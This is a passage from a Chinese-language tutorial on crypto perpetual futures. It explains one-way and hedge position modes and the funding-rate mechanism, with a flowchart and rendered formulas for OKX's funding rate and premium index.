单向持仓</h5><p><strong>适合场景</strong>：资金效率高，适合趋势交易</p><ul><li>明确看多或看空方向</li><li>追求最大资金利用率</li><li>简单的买入持有策略</li></ul><h5 id="2-2-4-2-双向持仓">2.2.4.2 双向持仓</h5><p><strong>成本考虑</strong>：更多保证金占用 + 双倍手续费 + 双倍资金费率</p><p><strong>价值场景</strong>：</p><ol><li><strong>套利策略</strong>：发现价差机会时，不影响原有仓位快速建立反向仓位</li><li><strong>风险锁定</strong>：持有长期多仓时，短期看跌可开空仓锁定收益，避免平掉长期仓位</li><li><strong>分层管理</strong>：不同时间周期的策略可以独立管理（如长期投资+短期交易）</li><li><strong>降低冲击</strong>：大仓位分批平仓时，可先开反向仓位对冲，再慢慢处理原仓位</li></ol><p><strong>决策考虑</strong>：只有当策略收益能够覆盖额外成本时，双向持仓才有意义</p><h2 id="3-价格发现与资金费率机制">3. 价格发现与资金费率机制</h2><p>本章节将深入分析永续合约的价格发现机制，包括资金费率的计算原理、标记价格与现货指数价格的关系。通过阐述资金费率如何确保合约价格与现货价格较合，以及标记价格的计算方法，建立对永续合约价格发现机制的整体认知。</p><h3 id="3-1-资金费率机制原理">3.1 资金费率机制原理</h3><p><strong>图5 资金费率机制作用原理</strong></p><pre><code class="highlight mermaid">graph TD    A[&quot;永续合约价格&quot;] --&gt; B[&quot;与现货指数价格比较&quot;]    C[&quot;现货指数价格&quot;] --&gt; B    B --&gt; D&#123;&quot;合约价格 &gt; 现货价格?&quot;&#125;    D --&gt;|是| E[&quot;资金费率为正&lt;br/&gt;多头向空头支付&quot;]    D --&gt;|否| F[&quot;资金费率为负&lt;br/&gt;空头向多头支付&quot;]    E --&gt; G[&quot;多头持仓成本增加&lt;br/&gt;部分多头平仓&quot;]    F --&gt; H[&quot;空头持仓成本增加&lt;br/&gt;部分空头平仓&quot;]    G --&gt; I[&quot;合约价格下降&lt;br/&gt;向现货价格收敛&quot;]    H --&gt; J[&quot;合约价格上升&lt;br/&gt;向现货价格收敛&quot;]    I --&gt; K[&quot;价格平衡机制&quot;]    J --&gt; K    subgraph &quot;结算时间&quot;        L[&quot;每8小时结算&lt;br/&gt;UTC+8: 00:00, 08:00, 16:00&quot;]        M[&quot;只有结算时刻持有仓位&lt;br/&gt;才需要支付或收取费用&quot;]    end    subgraph &quot;费用计算&quot;        N[&quot;资金费用 = 持仓仓位价值 × 资金费率&quot;]        O[&quot;仓位价值 = 合约张数 × 合约面值 × 标记价格&quot;]    end    style E fill:#ffcdd2    style F fill:#c8e6c9    style K fill:#e1f5fe    style L fill:#fff3e0    style M fill:#fff3e0    style N fill:#f3e5f5    style O fill:#f3e5f5</code></pre><p>如图5所示，资金费率机制通过多空双方的资金流动，形成负反馈调节机制，确保合约价格向现货价格收敛，维持价格发现功能。</p><h4 id="3-1-1-基本概念与作用">3.1.1 基本概念与作用</h4><ul><li><strong>定义</strong>：为确保永续合约价格与现货指数价格保持一致而设立的机制</li><li><strong>结算时间</strong>：通常每8小时或4小时结算一次，具体时间以合约信息为准（如UTC+8的00:00、08:00、16:00）</li><li><strong>费率方向</strong>：<ul><li>正费率：多头（看涨方向，买入开仓的投资者）向空头（看跌方向，卖出开仓的投资者）支付费用</li><li>负费率：空头（看跌方向，卖出开仓的投资者）向多头（看涨方向，买入开仓的投资者）支付费用</li></ul></li><li><strong>重要提醒</strong>：只有在结算时刻持有仓位才需要支付或收取资金费用</li></ul><blockquote><p>投资者可以在结算前平仓离场来避免支付资金费用，这为短期交易者提供了灵活的套利机会</p></blockquote><h4 id="3-1-2-计算原理与趋势机制">3.1.2 计算原理与趋势机制</h4><h5 id="3-1-2-1-基本思想">3.1.2.1 基本思想</h5><p>通过多空双方的资金流动，使永续合约价格向现货指数价格收敛，确保合约价格合理反映标的资产价值</p><h5 id="3-1-2-2-趋势机制">3.1.2.2 趋势机制</h5><p>设合约价格为x，现货指数价格为y：</p><ul><li>当x &gt; y时：多头支付费用→卖压增加→x趋向下降至y</li><li>当x &lt; y时：空头支付费用→买压增加→x趋向上升至y</li><li>当|x-y|越大时：资金费率绝对值越大→价格修正力度越强</li><li>当x ≈ y时：资金费率接近基础利率→价格保持相对稳定</li></ul><h4 id="3-1-3-具体算法（OKX采用新版计算逻辑）">3.1.3 具体算法（OKX采用新版计算逻辑）</h4><p><strong>公式1 资金费率计算公式</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord cjk_fallback">资金费率</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1333em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">clamp</span></span><span class="mopen">[</span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">clamp</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1333em;vertical-align:-0.25em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0.05%</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">−</span><span class="mord">0.05%</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">min</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span></span></p><h5 id="3-1-3-1-公式设计思想">3.1.3.1 公式设计思想</h5><ol><li><p><strong>市场偏离检测</strong>：通过<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8833em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span></span></span></span>（平均溢价指数）判断合约价格相对现货的偏离方向和程度</p></li><li><p><strong>基准利率设计逻辑</strong>：</p><ul><li><strong>为什么是0.03%/天</strong>：<ul><li><strong>经济学原理</strong>：多头持仓类似&quot;借钱买资产&quot;，空头持仓类似&quot;出借资产收租金&quot;</li><li><strong>奖励空头</strong>：在理想均衡状态下，空头方承担了&quot;出借风险&quot;，应获得0.03%/天的基础收益</li><li><strong>成本多头</strong>：多头方享受了&quot;杠杆便利&quot;，应支付0.03%/天的资金使用成本</li><li><strong>参考基准</strong>：接近传统金融市场的短期利率水平</li></ul></li><li><strong>中性参考点概念</strong>：当合约价格=现货价格时，资金费率应等于基准利率<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span>（多头向空头支付基础利率）</li><li><strong>修正力度计算</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1333em;vertical-align:-0.25em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>的趋势意义：<ul><li>当<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9224em;vertical-align:-0.0391em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span>时：合约溢价过高 → <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1333em;vertical-align:-0.25em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> → 虽然修正项为负，但<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8833em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span></span></span></span>本身是正大值 → 最终费率 = 大正数 + 小负数 = 仍为正且较大 → 多头付更多费用</li><li>当<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9224em;vertical-align:-0.0391em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span>时：合约溢价过低 → <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1333em;vertical-align:-0.25em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> → 修正项为正 → 如果<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8833em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span></span></span></span>为负，最终费率可能为负 → 空头付费用</li><li>当<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8833em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span>时：市场均衡 → 修正力度接近0 → 费率 ≈ <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span> + 0 = 基准利率（多头向空头支付）</li></ul></li></ul></li><li><p><strong>双重平滑机制</strong>：</p><ul><li>内层clamp：限制单次修正幅度在±0.05%，避免费率剧烈波动</li><li>外层clamp：确保费率在交易所风控范围内</li></ul></li><li><p><strong>自动平衡效果</strong>：整个机制形成负反馈循环，自动将合约价格拉回现货价格附近</p></li></ol><h5 id="3-1-3-2-公式符号说明">3.1.3.2 公式符号说明</h5><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8833em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span></span></span></span>：平均溢价指数</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span>：基础利率 = <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.439em;vertical-align:-0.52em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.919em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">24/</span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0.03%</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.52em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>，其中<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span>为结算周期小时数</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：资金费率上限</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">min</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：资金费率下限</li></ul><h5 id="3-1-3-3-计算步骤">3.1.3.3 计算步骤</h5><p><strong>第1步：计算基础利率</strong><br><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.439em;vertical-align:-0.52em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.919em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">24/</span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0.03%</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.52em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>，例如8小时结算周期：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.439em;vertical-align:-0.52em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.919em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">24/8</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0.03%</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.52em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">0.01%</span></span></span></span></p><p><strong>第2步：计算溢价指数</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">max</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>溢价指数公式思想</strong>：</p><ul><li><strong>分子设计</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span><ul><li>第一项：当买方愿意高于指数价格购买时，反映多头热情（正溢价）</li><li>第二项：当卖方愿意低于指数价格出售时，反映空头热情（负溢价贡献）</li><li>整体：衡量合约市场相对现货的&quot;温度&quot;</li></ul></li><li><strong>分母归一化</strong>：除以<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span>得到相对偏离比例，便于不同价格水平的比较</li><li><strong>结果解读</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>表示合约被高估，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>表示合约被低估</li></ul><p><strong>符号定义</strong>：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：深度加权买价（Depth-weighted bid price）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：深度加权卖价（Depth-weighted ask price）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span 